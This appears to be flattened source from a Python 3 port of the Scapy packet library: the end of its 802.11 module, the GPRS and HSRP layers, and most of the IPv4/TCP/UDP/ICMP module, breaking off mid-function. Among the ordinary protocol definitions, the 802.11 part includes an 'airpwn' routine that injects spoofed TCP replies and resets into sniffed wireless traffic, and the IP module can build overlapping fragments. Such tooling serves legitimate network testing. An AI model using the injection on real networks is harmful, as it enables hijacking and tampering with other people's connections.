self.payload=self.payload.payload @classmethod def enable_FCS(cls, fcsupport): cls.fcs_enabled=fcsupport def pre_dissect(self, s): if self.fcs_enabled: chksum=crc32(s[:-4]) self.fcs=(s[-4:]==struct.pack(" %IP.dst%:%TCP.dport%")) def send_reply(self, reply): sendp(reply, iface=self.ifto, **self.optsend) def sniff(self): sniff(iface=self.iffrom, **self.optsniff) plst=[] def get_toDS(): global plst while 1: p,=sniff(iface="eth1",count=1) if not isinstance(p,Dot11): continue if p.FCfield & 1: plst.append(p) print(".") # if not ifto.endswith("ap"): # print("iwpriv %s hostapd 1" % ifto) # os.system("iwpriv %s hostapd 1" % ifto) # ifto += "ap" # # os.system("iwconfig %s mode monitor" % iffrom) # def airpwn(iffrom, ifto, replace, pattern="", ignorepattern=""): """Before using this, initialize "iffrom" and "ifto" interfaces: iwconfig iffrom mode monitor iwpriv orig_ifto hostapd 1 ifconfig ifto up note: if ifto=wlan0ap then orig_ifto=wlan0 note: ifto and iffrom must be set on the same channel ex: ifconfig eth1 up iwconfig eth1 mode monitor iwconfig eth1 channel 11 iwpriv wlan0 hostapd 1 ifconfig wlan0ap up iwconfig wlan0 channel 11 iwconfig wlan0 essid dontexist iwconfig wlan0 mode managed """ ptrn = re.compile(pattern) iptrn = re.compile(ignorepattern) def do_airpwn(p, ifto=ifto, replace=replace, ptrn=ptrn, iptrn=iptrn): if not isinstance(p,Dot11): return if not p.FCfield & 1: return if not p.haslayer(TCP): return ip = p.getlayer(IP) tcp = p.getlayer(TCP) pay = str(tcp.payload) # print "got tcp" if not ptrn.match(pay): return # print "match 1" if iptrn.match(pay): return # print "match 2" del(p.payload.payload.payload) p.FCfield="from-DS" p.addr1,p.addr2 = p.addr2,p.addr1 q = p.copy() p /= IP(src=ip.dst,dst=ip.src) p /= TCP(sport=tcp.dport, dport=tcp.sport, seq=tcp.ack, ack=tcp.seq+len(pay), flags="PA") q = p.copy() p /= replace q.ID += 1 q.getlayer(TCP).flags="RA" q.getlayer(TCP).seq+=len(replace) sendp([p,q], iface=ifto, verbose=0) # print "send",repr(p) # print "send",repr(q) print(p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%")) sniff(iface=iffrom,prn=do_airpwn) conf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ] class Dot11PacketList(PacketList): def __init__(self, res=None, name="Dot11List", stats=None): if stats is None: stats = conf.stats_dot11_protocols PacketList.__init__(self, res, name, stats) def toEthernet(self): #data = map(lambda x:x.getlayer(Dot11), filter(lambda x : x.haslayer(Dot11) and x.type == 2, self.res)) data = [ x.getlayer(Dot11) for x in self.res if x.haslayer(Dot11) and x.type == 2 ] r2 = [] for p in data: q = p.copy() q.unwep() r2.append(Ether()/q.payload.payload.payload) #Dot11/LLC/SNAP/IP return PacketList(r2,name="Ether from %s"%self.listname) scapy-0.23/scapy/layers/gprs.py000066400000000000000000000010251320561231000165070ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ GPRS (General Packet Radio Service) for mobile data communication. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import IP class GPRS(Packet): name = "GPRSdummy" fields_desc = [ StrStopField("dummy","","\x65\x00\x00",1) ] bind_layers( GPRS, IP, ) scapy-0.23/scapy/layers/hsrp.py000066400000000000000000000062351320561231000165200ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ############################################################################# ## ## ## hsrp.py --- HSRP protocol support for Scapy ## ## ## ## Copyright (C) 2010 Mathieu RENARD mathieu.renard(at)gmail.com ## ## ## ## This program is free software; you can redistribute it and/or modify it ## ## under the terms of the GNU General Public License version 2 as ## ## published by the Free Software Foundation; version 2. ## ## ## ## This program is distributed in the hope that it will be useful, but ## ## WITHOUT ANY WARRANTY; without even the implied warranty of ## ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ## ## General Public License for more details. ## ## ## ############################################################################# ## HSRP Version 1 ## Ref. RFC 2281 ## HSRP Version 2 ## Ref. http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html ## ## $Log: hsrp.py,v $ ## Revision 0.2 2011/05/01 15:23:34 mrenard ## Cleanup code """ HSRP (Hot Standby Router Protocol): proprietary redundancy protocol for Cisco routers. """ from scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP class HSRP(Packet): name = "HSRP" fields_desc = [ ByteField("version", 0), ByteEnumField("opcode", 0, {0: "Hello", 1: "Coup", 2: "Resign", 3: "Advertise"}), ByteEnumField("state", 16, {0: "Initial", 1: "Learn", 2: "Listen", 4: "Speak", 8: "Standby", 16: "Active"}), ByteField("hellotime", 3), ByteField("holdtime", 10), ByteField("priority", 120), ByteField("group", 1), ByteField("reserved", 0), StrFixedLenField("auth", "cisco" + "\00" * 3, 8), IPField("virtualIP", "192.168.1.1")] def guess_payload_class(self, payload): if self.underlayer.len > 28: return HSRPmd5 else: return Packet.guess_payload_class(self, payload) class HSRPmd5(Packet): name = "HSRP MD5 Authentication" fields_desc = [ ByteEnumField("type", 4, {4: "MD5 authentication"}), ByteField("len", None), ByteEnumField("algo", 0, {1: "MD5"}), ByteField("padding", 0x00), XShortField("flags", 0x00), IPField("sourceip", None), XIntField("keyid", 0x00), StrFixedLenField("authdigest", "\00" * 16, 16)] def post_build(self, p, pay): if self.len is None and pay: l = len(pay) p = p[:1] + hex(l)[30:] + p[30:] return p bind_layers(UDP, HSRP, dport=1985, sport=1985) scapy-0.23/scapy/layers/inet.py000066400000000000000000004046031320561231000165040ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more informations # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ IPv4 (Internet Protocol v4). """ import os import time import struct import re import socket from select import select from collections import defaultdict from scapy.utils import checksum, is_private_addr from scapy.layers.l2 import ( BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, CookedLinux, Dot3, ETH_P_ALL, ETH_P_IP, Emph, Ether, FieldLenField, FieldListField, FlagsField, GRE, Gen, IPField, IP_PROTOS, IncrementalValue, IntAutoMicroTime, IntField, MultiEnumField, Net, NoPayload, Packet, PacketListField, RandInt, RandShort, RandString, RandStringTerm, Raw, SNAP, ShortEnumField, ShortField, SourceIPField, StrField, StrFixedLenField, StrLenField, TCP_SERVICES, UDP_SERVICES, X3BytesField, XByteField, XShortField, bind_layers, colgen, conf, do_graph, getmacbyip, incremental_label, inet_aton, linehexdump, log_runtime, os, random, re, socket, struct, strxor, time, warning) from scapy.sendrecv import sr, sr1 from scapy.plist import PacketList, SndRcvList from scapy.automaton import Automaton, ATMT import scapy.as_resolvers ################## # IP Tools class # ################## class IPTools: """Add more powers to a class that have a "src" attribute.""" def whois(self): os.system("whois %s" % self.src) def ottl(self): t = [32, 64, 128, 255] + [self.ttl] t.sort() return t[t.index(self.ttl) + 1] def hops(self): return self.ottl() - self.ttl - 1 def is_priv_addr(self): return is_private_addr(self.src) _ip_options_names = {0: "end_of_list", 1: "nop", 2: "security", 3: "loose_source_route", 4: "timestamp", 5: "extended_security", 6: "commercial_security", 7: "record_route", 8: "stream_id", 9: "strict_source_route", 10: "experimental_measurement", 11: "mtu_probe", 12: "mtu_reply", 13: "flow_control", 14: "access_control", 15: "encode", 16: "imi_traffic_descriptor", 17: "extended_IP", 18: "traceroute", 19: "address_extension", 20: "router_alert", 21: "selective_directed_broadcast_mode", 23: "dynamic_packet_state", 24: "upstream_multicast_packet", 25: "quick_start", 30: "rfc4727_experiment", } class _IPOption_HDR(Packet): fields_desc = [BitField("copy_flag", 0, 1), BitEnumField("optclass", 0, 2, {0: "control", 2: "debug"}), BitEnumField("option", 0, 5, _ip_options_names)] class IPOption(Packet): name = "IP Option" fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", # Only option 0 and 1 have no length and value length_of="value", adjust=lambda pkt, l:l + 2), StrLenField("value", "", length_from=lambda pkt:pkt.length - 2)] def extract_padding(self, p): return b"", p registered_ip_options = {} @classmethod def register_variant(cls): cls.registered_ip_options[cls.option.default] = cls @classmethod def dispatch_hook(cls, pkt=None, *args, **kargs): if pkt: opt = pkt[0] & 0x1f if opt in cls.registered_ip_options: return cls.registered_ip_options[opt] return cls class IPOption_EOL(IPOption): name = "IP Option End of Options List" option = 0 fields_desc = [_IPOption_HDR] class IPOption_NOP(IPOption): name = "IP Option No Operation" option = 1 fields_desc = [_IPOption_HDR] class IPOption_Security(IPOption): name = "IP Option Security" copy_flag = 1 option = 2 fields_desc = [_IPOption_HDR, ByteField("length", 11), ShortField("security", 0), ShortField("compartment", 0), ShortField("handling_restrictions", 0), StrFixedLenField("transmission_control_code", "xxx", 3), ] class IPOption_LSRR(IPOption): name = "IP Option Loose Source and Record Route" copy_flag = 1 option = 3 fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="routers", adjust=lambda pkt, l:l + 3), ByteField("pointer", 4), # 4 is first IP FieldListField("routers", [], IPField("", "0.0.0.0"), length_from=lambda pkt:pkt.length - 3) ] def get_current_router(self): return self.routers[self.pointer // 4 - 1] class IPOption_RR(IPOption_LSRR): name = "IP Option Record Route" option = 7 class IPOption_SSRR(IPOption_LSRR): name = "IP Option Strict Source and Record Route" option = 9 class IPOption_Stream_Id(IPOption): name = "IP Option Stream ID" option = 8 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortField("security", 0), ] class IPOption_MTU_Probe(IPOption): name = "IP Option MTU Probe" option = 11 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortField("mtu", 0), ] class IPOption_MTU_Reply(IPOption_MTU_Probe): name = "IP Option MTU Reply" option = 12 class IPOption_Traceroute(IPOption): name = "IP Option Traceroute" copy_flag = 1 option = 18 fields_desc = [_IPOption_HDR, ByteField("length", 12), ShortField("id", 0), ShortField("outbound_hops", 0), ShortField("return_hops", 0), IPField("originator_ip", "0.0.0.0")] class IPOption_Address_Extension(IPOption): name = "IP Option Address Extension" copy_flag = 1 option = 19 fields_desc = [_IPOption_HDR, ByteField("length", 10), IPField("src_ext", "0.0.0.0"), IPField("dst_ext", "0.0.0.0")] class IPOption_Router_Alert(IPOption): name = "IP Option Router Alert" copy_flag = 1 option = 20 fields_desc = [_IPOption_HDR, ByteField("length", 4), ShortEnumField("alert", 0, {0: "router_shall_examine_packet"}), ] class IPOption_SDBM(IPOption): name = "IP Option Selective Directed Broadcast Mode" copy_flag = 1 option = 21 fields_desc = [_IPOption_HDR, FieldLenField("length", None, fmt="B", length_of="addresses", adjust=lambda pkt, l:l + 2), FieldListField("addresses", [], IPField("", "0.0.0.0"), length_from=lambda pkt:pkt.length - 2) ] TCPOptions = ( {0: ("EOL", None), 1: ("NOP", None), 2: ("MSS", "!H"), 3: ("WScale", "!B"), 4: ("SAckOK", None), 5: ("SAck", "!"), 8: ("Timestamp", "!II"), 14: ("AltChkSum", "!BH"), 15: ("AltChkSumOpt", None), 25: ("Mood", "!p") }, {"EOL": 0, "NOP": 1, "MSS": 2, "WScale": 3, "SAckOK": 4, "SAck": 5, "Timestamp": 8, "AltChkSum": 14, "AltChkSumOpt": 15, "Mood": 25 }) class TCPOptionsField(StrField): islist = 1 def getfield(self, pkt, s): opsz = (pkt.dataofs - 5) * 4 if opsz < 0: warning("bad dataofs (%i). Assuming dataofs=5" % pkt.dataofs) opsz = 0 return s[opsz:], self.m2i(pkt, s[:opsz]) def m2i(self, pkt, x): opt = [] while x: onum = x[0] if onum == 0: opt.append(("EOL", None)) x = x[1:] break if onum == 1: opt.append(("NOP", None)) x = x[1:] continue olen = x[1] if olen < 2: warning("Malformed TCP option (announced length is %i)" % olen) olen = 2 oval = x[2:olen] if onum in TCPOptions[0]: oname, ofmt = TCPOptions[0][onum] if onum == 5: # SAck ofmt += "%iI" % (len(oval) // 4) if ofmt and struct.calcsize(ofmt) == len(oval): oval = struct.unpack(ofmt, oval) if len(oval) == 1: oval = oval[0] opt.append((oname, oval)) else: opt.append((onum, oval)) x = x[olen:] return opt def i2m(self, pkt, x): opt = b"" for oname, oval in x: if type(oname) is str: if oname == "NOP": opt += b"\x01" continue elif oname == "EOL": opt += b"\x00" continue elif oname in TCPOptions[1]: onum = TCPOptions[1][oname] ofmt = TCPOptions[0][onum][1] if onum == 5: # SAck ofmt += "%iI" % len(oval) if ofmt is not None and (type(oval) is not str or "s" in ofmt): if type(oval) is not tuple: oval = (oval,) oval = struct.pack(ofmt, *oval) else: warning("option [%s] unknown. Skipped." % oname) continue else: onum = oname if type(oval) is not bytes: warning("option [%i] is not of type bytes." % onum) continue opt += bytes([(onum), (2 + len(oval))]) + oval return opt + b"\x00" * (3 - ((len(opt) + 3) % 4)) def randval(self): return [] # XXX class ICMPTimeStampField(IntField): re_hmsm = re.compile("([0-2]?[0-9])[Hh:](([0-5]?[0-9])([Mm:]([0-5]?[0-9])([sS:.]([0-9]{0,3}))?)?)?$") def i2repr(self, pkt, val): if val is None: return "--" else: sec, milli = divmod(val, 1000) min, sec = divmod(sec, 60) hour, min = divmod(min, 60) return "%d:%d:%d.%d" % (hour, min, sec, int(milli)) def any2i(self, pkt, val): if type(val) is str: hmsms = self.re_hmsm.match(val) if hmsms: h, _, m, _, s, _, ms = hmsms = hmsms.groups() ms = int(((ms or "") + "000")[:3]) val = ((int(h) * 60 + int(m or 0)) * 60 + int(s or 0)) * 1000 + ms else: val = 0 elif val is None: val = int((time.time() % (24 * 60 * 60)) * 1000) return val class IP(Packet, IPTools): name = "IP" fields_desc = [BitField("version", 4, 4), BitField("ihl", None, 4), XByteField("tos", 0), ShortField("len", None), ShortField("id", 1), FlagsField("flags", 0, 3, ["MF", "DF", "evil"]), BitField("frag", 0, 13), ByteField("ttl", 64), ByteEnumField("proto", 0, IP_PROTOS), XShortField("chksum", None), #IPField("src", "127.0.0.1"), Emph(SourceIPField("src", "dst")), Emph(IPField("dst", "127.0.0.1")), PacketListField("options", [], IPOption, length_from=lambda p:p.ihl * 4 - 20)] def post_build(self, p, pay): ihl = self.ihl p += b"\0" * ((-len(p)) % 4) # pad IP options if needed if ihl is None: ihl = len(p) // 4 p = bytes([((self.version & 0xf) << 4) | ihl & 0x0f]) + p[1:] if self.len is None: l = len(p) + len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] if self.chksum is None: ck = checksum(p) p = p[:10] + bytes([ck >> 8]) + bytes([ck & 0xff]) + p[12:] return p + pay def extract_padding(self, s): l = self.len - (self.ihl << 2) return s[:l], s[l:] def send(self, s, slp=0): for p in self: try: s.sendto(bytes(p), (p.dst, 0)) except socket.error as msg: log_runtime.error(msg) if slp: time.sleep(slp) def route(self): dst = self.dst if isinstance(dst, Gen): dst = next(iter(dst)) return conf.route.route(dst) def hashret(self): if ((self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3, 4, 5, 11, 12])): return self.payload.payload.hashret() else: if conf.checkIPsrc and conf.checkIPaddr: return strxor(inet_aton(self.src), inet_aton(self.dst)) + struct.pack("B", self.proto) + self.payload.hashret() else: return struct.pack("B", self.proto) + self.payload.hashret() def answers(self, other): if not isinstance(other, IP): return 0 if conf.checkIPaddr and (self.dst != other.src): return 0 if ((self.proto == socket.IPPROTO_ICMP) and (isinstance(self.payload, ICMP)) and (self.payload.type in [3, 4, 5, 11, 12])): # ICMP error message return self.payload.payload.answers(other) else: if ((conf.checkIPaddr and (self.src != other.dst)) or (self.proto != other.proto)): return 0 return self.payload.answers(other.payload) def mysummary(self): s = self.sprintf("%IP.src% > %IP.dst% %IP.proto%") if self.frag: s += " frag:%i" % self.frag return s def fragment(self, fragsize=1480): """Fragment IP datagrams""" fragsize = (fragsize + 7) // 8 * 8 lst = [] fnb = 0 fl = self while fl.underlayer is not None: fnb += 1 fl = fl.underlayer for p in fl: s = bytes(p[fnb].payload) nb = (len(s) + fragsize - 1) // fragsize for i in range(nb): q = p.copy() del q[fnb].payload del q[fnb].chksum del q[fnb].len if i == nb - 1: q[IP].flags &= ~1 else: q[IP].flags |= 1 q[IP].frag = i * fragsize // 8 r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst class TCP(Packet): name = "TCP" fields_desc = [ShortEnumField("sport", 20, TCP_SERVICES), ShortEnumField("dport", 80, TCP_SERVICES), IntField("seq", 0), IntField("ack", 0), BitField("dataofs", None, 4), BitField("reserved", 0, 4), FlagsField("flags", 0x2, 8, "FSRPAUEC"), ShortField("window", 8192), XShortField("chksum", None), ShortField("urgptr", 0), TCPOptionsField("options", {})] def post_build(self, p, pay): p += pay dataofs = self.dataofs if dataofs is None: dataofs = 5 + ((len(self.get_field("options").i2m(self, self.options)) + 3) // 4) p = p[:12] + bytes([(dataofs << 4) | (p[12]) & 0x0f]) + p[13:] if self.chksum is None: if isinstance(self.underlayer, IP): if self.underlayer.len is not None: ln = self.underlayer.len - 20 else: ln = len(p) psdhdr = struct.pack("!4s4sHH", inet_aton(self.underlayer.src), inet_aton(self.underlayer.dst), self.underlayer.proto, ln) ck = checksum(psdhdr + p) p = p[:16] + struct.pack("!H", ck) + p[18:] elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_TCP, self.underlayer, p) p = p[:16] + struct.pack("!H", ck) + p[18:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def hashret(self): if conf.checkIPsrc: return struct.pack("H", self.sport ^ self.dport) + self.payload.hashret() else: return self.payload.hashret() def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.dport) and (self.dport == other.sport)): return 0 if abs(other.seq - self.ack) > 2 + len(other.payload): return 0 return 1 def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("TCP %IP.src%:%TCP.sport% > %IP.dst%:%TCP.dport% %TCP.flags%") elif conf.ipv6_enabled and isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("TCP %IPv6.src%:%TCP.sport% > %IPv6.dst%:%TCP.dport% %TCP.flags%") else: return self.sprintf("TCP %TCP.sport% > %TCP.dport% %TCP.flags%") class UDP(Packet): name = "UDP" fields_desc = [ShortEnumField("sport", 53, UDP_SERVICES), ShortEnumField("dport", 53, UDP_SERVICES), ShortField("len", None), XShortField("chksum", None), ] def post_build(self, p, pay): p += pay l = self.len if l is None: l = len(p) p = p[:4] + struct.pack("!H", l) + p[6:] if self.chksum is None: if isinstance(self.underlayer, IP): if self.underlayer.len is not None: ln = self.underlayer.len - 20 else: ln = len(p) psdhdr = struct.pack("!4s4sHH", inet_aton(self.underlayer.src), inet_aton(self.underlayer.dst), self.underlayer.proto, ln) ck = checksum(psdhdr + p) p = p[:6] + struct.pack("!H", ck) + p[8:] elif isinstance(self.underlayer, scapy.layers.inet6.IPv6) or isinstance(self.underlayer, scapy.layers.inet6._IPv6ExtHdr): ck = scapy.layers.inet6.in6_chksum(socket.IPPROTO_UDP, self.underlayer, p) p = p[:6] + struct.pack("!H", ck) + p[8:] else: warning("No IP underlayer to compute checksum. Leaving null.") return p def extract_padding(self, s): l = self.len - 8 return s[:l], s[l:] def hashret(self): return self.payload.hashret() def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if self.dport != other.sport: return 0 return self.payload.answers(other.payload) def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("UDP %IP.src%:%UDP.sport% > %IP.dst%:%UDP.dport%") elif isinstance(self.underlayer, scapy.layers.inet6.IPv6): return self.underlayer.sprintf("UDP %IPv6.src%:%UDP.sport% > %IPv6.dst%:%UDP.dport%") else: return self.sprintf("UDP %UDP.sport% > %UDP.dport%") icmptypes = {0: "echo-reply", 3: "dest-unreach", 4: "source-quench", 5: "redirect", 8: "echo-request", 9: "router-advertisement", 10: "router-solicitation", 11: "time-exceeded", 12: "parameter-problem", 13: "timestamp-request", 14: "timestamp-reply", 15: "information-request", 16: "information-response", 17: "address-mask-request", 18: "address-mask-reply"} icmpcodes = {3: {0: "network-unreachable", 1: "host-unreachable", 2: "protocol-unreachable", 3: "port-unreachable", 4: "fragmentation-needed", 5: "source-route-failed", 6: "network-unknown", 7: "host-unknown", 9: "network-prohibited", 10: "host-prohibited", 11: "TOS-network-unreachable", 12: "TOS-host-unreachable", 13: "communication-prohibited", 14: "host-precedence-violation", 15: "precedence-cutoff", }, 5: {0: "network-redirect", 1: "host-redirect", 2: "TOS-network-redirect", 3: "TOS-host-redirect", }, 11: {0: "ttl-zero-during-transit", 1: "ttl-zero-during-reassembly", }, 12: {0: "ip-header-bad", 1: "required-option-missing", }, } class ICMP(Packet): name = "ICMP" fields_desc = [ByteEnumField("type", 8, icmptypes), MultiEnumField("code", 0, icmpcodes, depends_on=lambda pkt:pkt.type, fmt="B"), XShortField("chksum", None), ConditionalField(XShortField("id", 0), lambda pkt:pkt.type in [0, 8, 13, 14, 15, 16, 17, 18]), ConditionalField(XShortField("seq", 0), lambda pkt:pkt.type in [0, 8, 13, 14, 15, 16, 17, 18]), ConditionalField(ICMPTimeStampField("ts_ori", None), lambda pkt:pkt.type in [13, 14]), ConditionalField(ICMPTimeStampField("ts_rx", None), lambda pkt:pkt.type in [13, 14]), ConditionalField(ICMPTimeStampField("ts_tx", None), lambda pkt:pkt.type in [13, 14]), ConditionalField(IPField("gw", "0.0.0.0"), lambda pkt:pkt.type == 5), ConditionalField(ByteField("ptr", 0), lambda pkt:pkt.type == 12), ConditionalField(X3BytesField("reserved", 0), lambda pkt:pkt.type == 12), ConditionalField(IPField("addr_mask", "0.0.0.0"), lambda pkt:pkt.type in [17, 18]), ConditionalField(IntField("unused", 0), lambda pkt:pkt.type not in [0, 5, 8, 12, 13, 14, 15, 16, 17, 18]), ] def post_build(self, p, pay): p += pay if self.chksum is None: ck = checksum(p) p = p[:2] + bytes([ck >> 8, ck & 0xff]) + p[4:] return p def hashret(self): if self.type in [0, 8, 13, 14, 15, 16, 17, 18]: return struct.pack("HH", self.id, self.seq) + self.payload.hashret() return self.payload.hashret() def answers(self, other): if not isinstance(other, ICMP): return 0 if ((other.type, self.type) in [(8, 0), (13, 14), (15, 16), (17, 18)] and self.id == other.id and self.seq == other.seq): return 1 return 0 def guess_payload_class(self, payload): if self.type in [3, 4, 5, 11, 12]: return IPerror else: return None def mysummary(self): if isinstance(self.underlayer, IP): return self.underlayer.sprintf("ICMP %IP.src% > %IP.dst% %ICMP.type% %ICMP.code%") else: return self.sprintf("ICMP %ICMP.type% %ICMP.code%") class IPerror(IP): name = "IP in ICMP" def answers(self, other): if not isinstance(other, IP): return 0 if not (((conf.checkIPsrc == 0) or (self.dst == other.dst)) and (self.src == other.src) and (((conf.checkIPID == 0) or (self.id == other.id) or (conf.checkIPID == 1 and self.id == socket.htons(other.id)))) and (self.proto == other.proto)): return 0 return self.payload.answers(other.payload) def mysummary(self): return Packet.mysummary(self) class TCPerror(TCP): # Better fix to be found for building and parsing TCPerror inside ICMP destination unreachable. With this at least the test suite passes fields_desc = [ShortEnumField("sport", 20, TCP_SERVICES), ShortEnumField("dport", 80, TCP_SERVICES), IntField("seq", 0), IntField("ack", 0), BitField("dataofs", None, 4), BitField("reserved", 0, 4), FlagsField("flags", 0x2, 8, "FSRPAUEC"), ShortField("window", 8192), XShortField("chksum", None), ShortField("urgptr", 0), TCPOptionsField("options", {})] name = "TCP in ICMP" def post_build(self, p, pay): p += pay return p def answers(self, other): if not isinstance(other, TCP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 if conf.check_TCPerror_seqack: if self.seq is not None: if self.seq != other.seq: return 0 if self.ack is not None: if self.ack != other.ack: return 0 return 1 def mysummary(self): return Packet.mysummary(self) class UDPerror(UDP): name = "UDP in ICMP" def answers(self, other): if not isinstance(other, UDP): return 0 if conf.checkIPsrc: if not ((self.sport == other.sport) and (self.dport == other.dport)): return 0 return 1 def mysummary(self): return Packet.mysummary(self) class ICMPerror(ICMP): name = "ICMP in ICMP" def answers(self, other): if not isinstance(other, ICMP): return 0 if not ((self.type == other.type) and (self.code == other.code)): return 0 if self.code in [0, 8, 13, 14, 17, 18]: if (self.id == other.id and self.seq == other.seq): return 1 else: return 0 else: return 1 def mysummary(self): return Packet.mysummary(self) bind_layers(Ether, IP, type=2048) bind_layers(CookedLinux, IP, proto=2048) bind_layers(GRE, IP, proto=2048) bind_layers(SNAP, IP, code=2048) bind_layers(IPerror, IPerror, frag=0, proto=4) bind_layers(IPerror, ICMPerror, frag=0, proto=1) bind_layers(IPerror, TCPerror, frag=0, proto=6) bind_layers(IPerror, UDPerror, frag=0, proto=17) bind_layers(IP, IP, frag=0, proto=4) bind_layers(IP, ICMP, frag=0, proto=1) bind_layers(IP, TCP, frag=0, proto=6) bind_layers(IP, UDP, frag=0, proto=17) bind_layers(IP, GRE, frag=0, proto=47) conf.l2types.register(101, IP) conf.l2types.register_num2layer(12, IP) conf.l3types.register(ETH_P_IP, IP) conf.l3types.register_num2layer(ETH_P_ALL, IP) conf.neighbor.register_l3(Ether, IP, lambda l2, l3: getmacbyip(l3.dst)) conf.neighbor.register_l3(Dot3, IP, lambda l2, l3: getmacbyip(l3.dst)) ################# # Fragmentation # ################# @conf.commands.register def fragment(pkt, fragsize=1480): """Fragment a big IP datagram""" fragsize = (fragsize + 7) // 8 * 8 lst = [] for p in pkt: s = bytes(p[IP].payload) nb = (len(s) + fragsize - 1) // fragsize for i in range(nb): q = p.copy() del q[IP].payload del q[IP].chksum del q[IP].len if i == nb - 1: q[IP].flags &= ~1 else: q[IP].flags |= 1 q[IP].frag = i * fragsize // 8 r = conf.raw_layer(load=s[i * fragsize:(i + 1) * fragsize]) r.overload_fields = p[IP].payload.overload_fields.copy() q.add_payload(r) lst.append(q) return lst def overlap_frag(p, overlap, fragsize=8, overlap_fragsize=None): if overlap_fragsize is None: overlap_fragsize = fragsize q = p.copy() del q[IP].payload q[IP].add_payload(overlap) qfrag = fragment(q, overlap_fragsize) qfrag[-1][IP].flags |= 1 return qfrag + fragment(p, fragsize) @conf.commands.register def defrag(plist): """defrag(plist) -> ([not fragmented], [defragmented], [ [bad fragments], [bad fragments], ... ])""" frags = defaultdict(PacketList) nofrag = PacketList() for p in plist: ip = p[IP] if IP not in p: nofrag.append(p) continue if ip.frag == 0 and ip.flags & 1 == 0: nofrag.append(p) continue uniq = (ip.id, ip.src, ip.dst, ip.proto) frags[uniq].append(p) defrag = [] missfrag = [] for lst in frags.values(): lst.sort(key=lambda x: x.frag) p = lst[0] lastp = lst[-1] if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing missfrag.append(lst) continue p = p.copy() if conf.padding_layer in p: del p[conf.padding_layer].underlayer.payload ip = p[IP] if ip.len is None or ip.ihl is None: clen = len(ip.payload) else: clen = ip.len - (ip.ihl << 2) txt = conf.raw_layer() for q in lst[1:]: if clen != q.frag << 3: # Wrong fragmentation offset if clen > q.frag << 3: warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag << 3, p, txt, q)) missfrag.append(lst) break if q[IP].len is None or q[IP].ihl is None: clen += len(q[IP].payload) else: clen += q[IP].len - (q[IP].ihl << 2) if conf.padding_layer in q: del q[conf.padding_layer].underlayer.payload txt.add_payload(q[IP].payload.copy()) else: ip.flags &= ~1 # !MF del ip.chksum del ip.len p = p / txt defrag.append(p) defrag2 = PacketList() for p in defrag: defrag2.append(p.__class__(bytes(p))) return nofrag, defrag2, missfrag @conf.commands.register def defragment(plist): """defragment(plist) -> plist defragmented as much as possible """ frags = defaultdict(lambda: []) final = [] pos = 0 for p in plist: p._defrag_pos = pos pos += 1 if IP in p: ip = p[IP] if ip.frag != 0 or ip.flags & 1: ip = p[IP] uniq = (ip.id, ip.src, ip.dst, ip.proto) frags[uniq].append(p) continue final.append(p) defrag = [] missfrag = [] for lst in frags.values(): lst.sort(key=lambda x: x.frag) p = lst[0] lastp = lst[-1] if p.frag > 0 or lastp.flags & 1 != 0: # first or last fragment missing missfrag += lst continue p = p.copy() if conf.padding_layer in p: del p[conf.padding_layer].underlayer.payload ip = p[IP] if ip.len is None or ip.ihl is None: clen = len(ip.payload) else: clen = ip.len - (ip.ihl << 2) txt = conf.raw_layer() for q in lst[1:]: if clen != q.frag << 3: # Wrong fragmentation offset if clen > q.frag << 3: warning("Fragment overlap (%i > %i) %r || %r || %r" % (clen, q.frag << 3, p, txt, q)) missfrag += lst break if q[IP].len is None or q[IP].ihl is None: clen += len(q[IP].payload) else: clen += q[IP].len - (q[IP].ihl << 2) if conf.padding_layer in q: del q[conf.padding_layer].underlayer.payload txt.add_payload(q[IP].payload.copy()) else: ip.flags &= ~1 # !MF del ip.chksum del ip.len p = p / txt p._defrag_pos = max(x._defrag_pos for x in lst) defrag.append(p) defrag2 = [] for p in defrag: q = p.__class__(bytes(p)) q._defrag_pos = p._defrag_pos defrag2.append(q) final += defrag2 final += missfrag final.sort(key=lambda x: x._defrag_pos) for p in final: del p._defrag_pos if hasattr(plist, "listname"): name = "Defragmented %s" % plist.listname else: name = "Defragmented" return PacketList(final, name=name) # Add timeskew_graph() method to PacketList def _packetlist_timeskew_graph(self, ip, **kargs): """Tries to graph the timeskew between the timestamps and real time for a given ip""" res = map(lambda x: self._elt2pkt(x), self.res) b = filter(lambda x: x.haslayer(IP) and x.getlayer(IP).src == ip and x.haslayer(TCP), res) c = [] for p in b: opts = p.getlayer(TCP).options for o in opts: if o[0] == 